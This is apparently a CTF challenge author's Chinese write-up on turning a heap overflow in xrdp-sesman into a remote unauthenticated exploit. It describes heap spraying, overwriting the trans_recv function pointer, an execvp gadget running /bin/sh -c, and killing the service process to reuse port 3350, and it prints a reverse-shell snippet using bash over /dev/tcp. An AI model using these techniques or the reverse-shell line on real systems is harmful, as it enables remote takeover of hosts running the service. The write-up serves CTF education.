1 2 3 4 5 6 7 8 9 | pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x403000 r - - p 3000 0 / usr / local / sbin / xrdp - sesman 0x403000 0x40b000 r - xp 8000 3000 / usr / local / sbin / xrdp - sesman 0x40b000 0x40f000 r - - p 4000 b000 / usr / local / sbin / xrdp - sesman 0x40f000 0x410000 r - - p 1000 e000 / usr / local / sbin / xrdp - sesman 0x410000 0x411000 rw - p 1000 f000 / usr / local / sbin / xrdp - sesman 0x1d24000 0x1d70000 rw - p 4c000 0 [heap] 0x1d70000 0x21e1000 rw - p 471000 0 [heap] |
可以注意到,笔者只建立了 16 个 TCP 连接,但是却申请到了 0x471000+0x4c000
的堆内存,这甚至远超笔者最初通过建立上百个连接时所得到的大小。
显然,接下来的操作不言而喻,只需要反弹一个 shell 即可,因此不再赘述。
但在我提交题目以后才得知主办方的平台不能出网,因此反弹 shell 是不行的,需要通过正连完成。
第二法破局:伏击
第二种方法要比第一种的堆喷更加优雅,也更加巧妙。注意到如下代码:
1 2 3 4 5 6 7 8 9 | read_bytes = self - >trans_recv( self , self - >in_s - >end, to_read); if (read_bytes = = - 1 ) { ... } else { self - >in_s - >end + = read_bytes; } |
以及回顾一下 trans_create
的代码:
1 2 3 4 5 6 7 8 9 | struct trans * trans_create( int mode, int in_size, int out_size) { struct trans * self = (struct trans * ) NULL; self = (struct trans * ) g_malloc(sizeof(struct trans), 1 ); ... return self ; } |
我们可以注意到,如果覆盖 self->trans_recv
为 trans_create
,那么该函数将会返回一个堆地址给 read_bytes
,而这个变量将会被写入到 self->in_s->end
。
这意味着,我们能够在任意地址处将一个堆地址加入原值。而本题最难的地方就在于如何得到一个指向参数的指针。
相信读者已经发现了,如果我们将 self->in_s
指向程序自己的 bss
段,并且 self->in_s->end
为 0 的话,就能够稳定的将一个堆地址写入到已知地址处,从而能够得到一个堆地址指针。而接下来的操作就不言而喻了,通过对溢出和一个固定偏移的计算,我们能够在已知地址处得到一个任意字符串的指针。
那么接下来的操作也属于水到渠成了,在 bss 段上构建一系列的参数地址,从而通过类似于如下操作反弹shell即可:
1 2 3 4 5 6 7 8 9 10 | #include<stdlib.h> #include <errno.h> #include <stdio.h> int main() { / / bash - i >& / dev / tcp / 127.0 . 0.1 / 8080 0 >& 1 char * ar[] = { "bash" , "-i" , ">&" , "/dev/tcp/127.0.0.1/10000" , "0>&1" , 0 }; int a = execvp( "bash" ,ar); return 0 ; } |
不过笔者还是建议尽量选择参数较少的实现方案。
此处说明来自第一次撰稿,此时笔者还不知道服务器不能反弹 shell。
例外与死屋
在 第二法破局:风水
一节中,尽管笔者已经介绍了该利用的可行性,但是其实还有一个最难的点没有解决:
1 | self - >trans_recv( self , self - >in_s - >end, to_read); |
如果我们希望通过 execvp
去完成利用,那么就需要令 self->in_s->end
能够得到一个指向字符串数组的指针。
您或许已经发现了,在上一节中,我们成功得到了一个字符串数组,它的成员是一系列的字符串指针,但是最关键的是,没有任何一个指针能够指向这个字符串数组。
因此本节笔者最后要介绍的是用以辅佐第二法的操作,它能够让我们在已知地址处写入一个已知地址。
通过 IDA ,我们能够找到一个特殊的函数:
1 2 3 4 | char * deregister_tm_clones() { return &edata; } |
deregister_tm_clones
将会返回一个 bss 段的地址,如果我们将 self->trans_recv
覆盖为 deregister_tm_clones
,就能够在某个已知地址处加入 &edata
。
但是,我们并不能直接在 &edata
处构建字符串数组,因为要想将堆地址写入,必须保证 self->in_s->end
将会得到 0 ,而在 &edata
处,它相邻的几个成员均具有自己的值,这势必无法写入堆地址。
但是,如果 self->in_s->end
处的值能够成为一个偏移,那么只需要在 &edata+offset
处构建字符串数组即可。这么一看似乎很简单,但实际上,要在内存空间中找到这个地方却不太容易,因为可读可写的内存段过小了,且因为要求是 8 字节大小的数值作为偏移,要在内存中寻找高位 7 字节都是 0 ,而低位具有一个单独数值的值其实并不多,最终笔者锁定了这里:
1 2 3 | pwndbg> x / 10gx 0x410492 0x410492 <list_remove_item@got.plt + 2 >: 0x3930000000000040 0x0000000000000040 0x4104a2 : 0x0000000000000000 0x5217000000000000 |
只有这里是刚好的,它可读可写,且偏移适中,除此之外只有一处还有类似的地方,但是那里处在 got 表中间,随意覆盖数值很容易导致程序崩溃,因此为了避免意外,只剩下这一个选择了。
一波三折
第一折
前文所述的方案在本地是完全可行的,笔者在本地的 docker 容器中已经能够通过自己的 exp 完成稳定的利用(笔者使用了第二个稳定利用的方案,它要比堆喷更适合调试)。
但是,当笔者将这样的容器打包发给主办方后却出现了意外,我发现自己的 exp 没能打通远程服务器在容器。这相当的奇怪,因为我在本地已经无数次尝试过了,它必然是稳定的,但它只在我这稳定......
这个问题折磨了我许久,因为它的表现形式有些异常:
- 本地和远程使用同一个 docker 镜像,但本地能够稳定打通,远程却是稳定打不通。
- 在远程服务器中,我在 docker 里使用 gdb 进行调试,当我使用了断点,那么将会稳定打通
这个问题的成因十分有些怪异,简单来说,是因为网络延迟的差异。
在同一个局域网内,网络的延迟较低,当我尝试调用 self->trans_recv
后,紧接着如果能够立刻收到包,那么它会马上进入到下一个 self->trans_recv
中,这使得我在本地的利用能够稳定成功。
但是一旦它到了远程服务器上,由于延迟的存在,当我的第二个数据包抵达服务器,它们已经离开了第一次调用的 trans_check_wait_objs
,并回到了主循环进行轮询。而当它检查某个 trans
时,会因为我需要稳定传递第一个参数,使得它成为一个非 0 的值,这将导致 trans_check_wait_objs
返回错误代码,整个程序将会崩溃退出。
因此我前文所述的方案只有一半能成功,因为第一个参数不再稳定传递了,它的第一个字符似乎必须是 0 字节。
事实上,笔者最初希望它能够是 python3,它失败了,于是我转而使用 sh,它仍然失败了,迫不得已,我什么也不放,结果程序并没有崩溃,我只好找其他方法了(但如果是 \x00\x10,它似乎也不会崩溃)。
最终,我们能够找到一段特殊的 gadget:
1 2 3 4 5 6 7 8 9 10 | .text: 000000000040955D lea rax, aReconnectwmSh + 0Ch ; "sh" .text: 0000000000409564 lea rsi, [rsp + 0B68h + var_AC8] .text: 000000000040956C mov [rsp + 0B68h + var_AB0], 0 .text: 0000000000409578 mov [rsp + 0B68h + var_AC8], rax .text: 0000000000409580 lea rax, aC ; "-c" .text: 0000000000409587 lea rdi, aBinSh ; "/bin/sh" .text: 000000000040958E mov [rsp + 0B68h + var_AC0], rax .text: 0000000000409596 mov rax, [rbx + 68h ] .text: 000000000040959A mov [rsp + 0B68h + var_AB8], rax .text: 00000000004095A2 call _g_execvp |
0x409587
处似乎能够传递一个较为稳定的参数,而 rsi 寄存器可以沿用 self->in_s->end
,只要第二个参数能够稳定传递,那么就能够顺利调用 _g_execvp
完成利用了。
第二折
在第一折以后,远程利用已经被限制了第一个参数必须为 “/bin/sh” ,且必须使用 execvp
的方案了,因此对于堆喷的利用方式来说其实更加郁闷,因为要碰撞的东西更多了。
不过布局需要重新做,尤其是使用 execlp3
布局的情况,需要构造类似如下的操作:
1 2 | char * ar = { "/bin/sh" , "-c" , "xxxxx" , 0 }; execvp( "/bin/sh" ,ar); |
堆喷似乎仍然可行,但成功率将会略有下降,这对远程来说尤其不友好。因此这一劫相当于限制了很多利用手段。
第三折
第三折是在前面几个难点都被克服以后的最后一个问题。
笔者最初的预想是,选手只需要能够构造一个正连,然后通过 nc 拿到 shell 即可,但是由于 CTFd 只能为题目分配一个端口,因此选手只能通过给定的端口打进去,然后再用同一个端口开放正连去连出来。这似乎涉及到一个端口复用问题,类似的解决方法有很多,它并不是本题的主要考点,不过由于笔者自己的很多基础没有学好,在这一步上倒是被卡了很多时间。
在这里介绍一下笔者使用的方法:
首先通过 sh 的 -c
参数允许任意代码执行,笔者发现,通过这种方法打开的进程并不属于它的子进程,因此我们可以在该进程里直接调用 kill 将原先占用端口的那个进程关掉,然后自己绑定到那个端口上即可。
通过 execvp 开启的 sh 进程与原本的 xrdp-sesman 其实算是同一个进程,它继承了相同的属性,但是通过 -c 参数后跟上 python3,它将会另外启动一个 python 进程,该进程并不是 sh 的子进程,通过
os.popen("kill pid")
可以直接释放端口。
最后的操作不言而喻,因为程序默认绑定 3350 端口,它会通过 docker 转发出来,因此正连的端口号写 3350 即可。
后日谈
后日谈1:
写于笔者提交题目以前。
不过笔者其实本来还在本题使了一点坏,您看,在众多反弹shell的命令里,似乎只有 python 能够在三个参数里完成利用,而如果用 g_execlp3
和堆喷就能够完成利用的话,似乎就有点太没意思了,于是打算把环境里的 python3 直接删掉,不过最后笔者连 exp 都写完了,环境也搭好了,实在懒得再改了,因此作罢,就这样吧。
后日谈2:
写于笔者提交题目以后,此为添加部分。
笔者发现,为了解决那些麻烦的坑点所做的绕过实属不易,并且也发现 execlp3
将不在可用,在这个月四号提交的题目,直到 7 号晚上才终于解决了所有远程部署上的问题。
笔者个人认为题目并没有很难,但是构造 payload 的过程却很有意思。将一个看上去有条件的漏洞转为一个无条件的利用;将一个只能在本地提权的漏洞转为了远程的0click漏洞,不觉得这很酷吗?
注:
此处的本地提权是指最初的利用方案,通过创建一个可执行文件,让进程直接执行文件来避开参数控制的难点;而0click则指,只需要机器打开该服务,就可以直接发包拿下主机。
有条件漏洞指的是需要在源代码上允许进程建立大量的连接;无条件漏洞指的是可以直接使用未经修改的源代码编译出的二进制程序完成利用。
(不知道自己的理解是否出错,若是如此,还望指正。)
后日谈3:
题目名称 “The House of the Dead” ,并非直接搜索出来的射击游戏,而是指费奥多尔·陀思妥耶夫斯基所著的一本名为《死屋手记》的书,书名的英译为这个名字。我认为它所描述的某些状态很符合我在制作本题时的一些心理,以下为摘抄:
这乐趣正是出于对自己堕落的十分明确的意识:是由于你自己也感到你走到了最后一堵墙;这很恶劣,但是舍此又别无他途;你已经没有了出路,你也永远成不了另一种人;即使还剩下点时间和剩下点信心可以改造成另一种人,大概你自己也不愿意去改造:即使愿意,大概也一事无成,因为实际上,说不定也改造不了任何东西。
最后,欢迎加入星盟安全团队。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课